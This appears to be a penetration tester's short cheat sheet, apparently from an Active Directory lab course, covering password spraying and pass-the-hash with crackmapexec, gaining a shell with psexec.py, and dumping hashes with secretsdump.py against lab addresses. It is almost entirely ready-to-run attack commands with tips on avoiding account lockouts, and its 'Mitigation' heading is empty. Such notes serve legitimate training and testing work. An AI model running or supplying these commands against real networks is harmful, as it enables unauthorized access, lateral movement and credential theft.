# Pass the Password

We can spray the password across the network. Be careful if this is a domain account, could get banned. Local accounts are better to spray

crackmapexec smb 10.0.3.0/24 -u fcastle -p Password1

# Pass The Hash

-NTLM can be passed

-NTLMv2 can not be passed

crackmapexec smb 10.0.3.0/24 -u fcastle -H <hash> --local-auth

# Gaining Shell from Passwords

psexec.py <domain>/<username>:<password>@<IP address>
psexec.py marvel/fcastle:Password1@192.168.1.5

# Extracting Hashes

This will dump hashes on each connection

secretsdump.py <domain>/<username>:<password>@<IP address>
secretsdump.py marvel/fcastle:Password1@192.168.1.5

# Mitigation